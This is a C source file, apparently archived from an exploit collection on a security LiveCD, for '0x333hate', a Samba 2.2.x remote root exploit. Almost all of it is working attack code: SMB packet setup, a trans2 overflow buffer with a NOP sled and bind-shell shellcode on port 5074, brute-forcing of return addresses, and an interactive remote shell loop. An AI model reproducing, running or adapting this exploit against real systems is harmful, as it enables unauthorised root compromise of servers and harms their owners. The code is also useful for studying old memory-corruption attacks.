home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / 0x333hate.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  261 lines

  1. /*  0x333hate => samba 2.2.x remote root exploit
  2.  *
  3.  *  generic linux x86 samba remote root
  4.  *  exploit, based on trans2root.pl
  5.  *
  6.  *  coded by c0wboy
  7.  *
  8.  *  ~ www.0x333.org ~
  9.  */
  10.  
  11. #include <stdio.h>
  12. #include <unistd.h>
  13. #include <sys/socket.h>
  14. #include <sys/types.h>
  15. #include <netinet/in.h>
  16. #include <netdb.h>
  17. #include <string.h>
  18.  
  19. #define fatal(x...) { fprintf (stderr, ##x); exit(-333); }
  20.  
  21. #define BUFFER 1500
  22. #define SHELL  5074
  23. #define PORT   139
  24. #define NOP    0x90
  25. #define START  0xbfffffff
  26. #define STOP   0xbf000000
  27. #define OFFSET 512
  28.  
  29. typedef enum {FALSE,TRUE} BOOLEAN;
  30.  
  31.  
  32. unsigned char setup1[] =
  33.          "\x00\x00\x00\x2e\xff\x53\x4d\x42\x73\x00\x00\x00\x00"
  34.          "\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  35.          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00"
  36.          "\x00\x00\x00\x20\x02\x00\x01\x00\x00\x00\x00";
  37.  
  38. unsigned char setup2[] =
  39.          "\x00\x00\x00\x3c\xff\x53\x4d\x42\x70\x00\x00\x00\x00"
  40.          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  41.          "\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00"
  42.          "\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e\x6f\x62\x6f\x64"
  43.          "\x79\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";
  44.  
  45. unsigned char overflow[] =
  46.          "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00"
  47.          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  48.          "\x00\x00\x01\x00\x00\x00\x64\x00\x00\x00\x00\xd0\x07"
  49.          "\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00"
  50.          "\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00"
  51.          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  52.          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  53.          "\x00\x00\x00\x00\x90";
  54.  
  55. unsigned char shellcode[] =
  56.          "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
  57.          "\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89"
  58.          "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
  59.          "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
  60.          "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
  61.          "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
  62.          "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
  63.          "\x80";
  64.  
  65. int main (int argc, char *[]);
  66. void usage (char *);
  67. void hate (unsigned long);
  68. void exploit (void);
  69. BOOLEAN connection(char *, int);
  70. int owned (int);
  71.  
  72. char buffer[BUFFER];
  73. char zero[808] = "";
  74. char * target=NULL;
  75. int port = PORT;
  76.  
  77. struct sockaddr_in temp;
  78. struct hostent *h;
  79. int fdsocket;
  80.  
  81. void
  82. usage (char * prg)
  83. {
  84.    fprintf (stderr, "\n [~] 0x333hate => samba 2.2.x remote root exploit [~]\n");
  85.    fprintf (stderr, " [~]        coded by c0wboy ~ www.0x333.org       [~]\n\n");
  86.    fprintf (stderr, " Usage : %s [-t target] [-p port] [-h]\n\n", prg);
  87.    fprintf (stderr, " \t-t\ttarget to attack\n");
  88.    fprintf (stderr, " \t-p\tsamba port (default 139)\n");
  89.    fprintf (stderr, " \t-h\tdisplay this help\n\n");
  90.  
  91.    exit(-333);
  92. }
  93.  
  94. void
  95. hate (unsigned long ret)
  96. {
  97.    int i;
  98.    char *ptr=buffer;
  99.  
  100.    bzero(buffer, BUFFER);
  101.  
  102.    memcpy ((char *)ptr, overflow, 96);
  103.  
  104.    ptr += 96;
  105.    memset ((char *)ptr, NOP, (772+36));
  106.  
  107.    ptr += (772+36);
  108.    memcpy ((char *)ptr, shellcode, strlen (shellcode));
  109.  
  110.    ptr += strlen (shellcode);
  111.    memset ((char *)ptr, NOP, (87+44));
  112.  
  113.    ptr += (87+44);
  114.  
  115.    for (i = 1127 ; i < 1159 ; i += 4)
  116.       *(long *) &buffer[i] = ret;
  117. }
  118.  
  119. void
  120. exploit (void)
  121. {
  122.    BOOLEAN status;
  123.    char outside[333];
  124.  
  125.    if(!(status = connection (target, port)))
  126.       fatal (" [~] Error in connection\n");
  127.  
  128.    /* here we setup connection */
  129.    if (send (fdsocket, setup1, sizeof (setup1)-1, 0) < 0)
  130.       fatal (" [~] Error in setup (1) connection\n");
  131.    recv (fdsocket, outside, sizeof (outside)-1, 0);
  132.  
  133.    if (send (fdsocket, setup2, sizeof (setup2)-1, 0) < 0)
  134.       fatal (" [~] Error in setup (2) connection\n");
  135.    recv (fdsocket, outside, sizeof (outside)-1, 0);
  136.  
  137.    /* exploiting samba */
  138.    if (send (fdsocket, buffer, sizeof (buffer)-1, 0) < 0)
  139.       fatal (" [~] Error in exploiting samba\n");
  140.  
  141.    if (send (fdsocket, zero, sizeof (zero)-1, 0) < 0)
  142.       fatal (" [~] Error in exploiting samba\n");
  143.  
  144.    close (fdsocket);
  145.  
  146.    if((status = connection (target, SHELL)))
  147.    {
  148.       owned (fdsocket);
  149.       close (fdsocket);
  150.    }
  151. }
  152.  
  153. BOOLEAN
  154. connection (char *host, int port)
  155. {
  156.    BOOLEAN status = TRUE;
  157.  
  158.    temp.sin_family = AF_INET;
  159.    temp.sin_port = htons (port);
  160.    h = gethostbyname (host);
  161.       
  162.    if (h == 0)
  163.       status = FALSE;
  164.    else 
  165.    {
  166.       bcopy (h->h_addr,&temp.sin_addr,h->h_length);
  167.  
  168.       if ((fdsocket = socket (AF_INET,SOCK_STREAM,0)) < 0)
  169.          status = FALSE;
  170.       else
  171.          if ((connect (fdsocket, (struct sockaddr*) &temp, sizeof (temp))) < 0)
  172.             status = FALSE;
  173.    }
  174.    return status;
  175. }
  176.  
  177. int 
  178. owned (int fdsocket)
  179. {
  180.    fd_set cya;
  181.    char outside[1024], *cmd="uname -a;id;\n";
  182.    int x;
  183.  
  184.    FD_ZERO (&cya);
  185.    FD_SET (fdsocket, &cya);
  186.    FD_SET (0, &cya);
  187.  
  188.    send (fdsocket, cmd, strlen (cmd), 0);
  189.  
  190.    for(;;)
  191.    {
  192.       FD_SET (fdsocket, &cya);
  193.       FD_SET (0, &cya);
  194.  
  195.       if (select (FD_SETSIZE, &cya, NULL, NULL, NULL) < 0)
  196.          break;
  197.  
  198.       if (FD_ISSET (fdsocket, &cya))
  199.       {
  200.          if ((x = recv (fdsocket, outside, sizeof (outside)-1, 0)) < 0)
  201.             fatal (" [-] cya\n");
  202.  
  203.          if (write (1, outside, x) < 0)
  204.             break;
  205.       }
  206.  
  207.       if (FD_ISSET (0, &cya))
  208.       {
  209.          if ((x = read (0, outside, sizeof (outside)-1)) < 0)
  210.          fatal ("[-] cya\n");
  211.  
  212.          if (send (fdsocket, outside, x, 0) < 0)
  213.             break;
  214.       }
  215.  
  216.       usleep(10);
  217.    }
  218.  
  219.    fprintf (stderr, " [-] cya hax0r\n");
  220.    exit(0);
  221. }
  222.  
  223.  
  224. int
  225. main (int argc, char * argv[])
  226. {
  227.    int c;
  228.    unsigned long ret;
  229.  
  230.    while((c=getopt (argc, argv, "ht:p:")) != EOF)
  231.    {
  232.       switch(c)
  233.       {
  234.          case 't': target = optarg; break;
  235.          case 'p': port = atoi (optarg); break;
  236.          case 'h': usage (argv[0]);
  237.          default : usage (argv[0]);
  238.       }
  239.    }
  240.  
  241.    if (argc==1 || target == NULL)
  242.       usage (argv[0]);
  243.  
  244.    fprintf (stdout, "\n [~] 0x333hate => samba 2.2.x remote root exploit [~]\n");
  245.    fprintf (stdout, " [~]        coded by c0wboy ~ www.0x333.org       [~]\n\n");
  246.  
  247.    fprintf (stdout, " [-] connecting to %s:%d\n", target, port);
  248.    fprintf (stdout, " [-] stating bruteforce\n\n");
  249.  
  250.    for (ret=START; ret>=STOP; ret-=OFFSET)
  251.    {
  252.       fprintf (stdout, " [-] testing 0x%x\n", ret);
  253.       hate (ret);
  254.       exploit ();
  255.    }
  256.    fprintf (stdout, " [-] uhm ... maybe samba is not vulnerable !\n");
  257.    return 0;
  258. }
  259.  
  260.  
  261.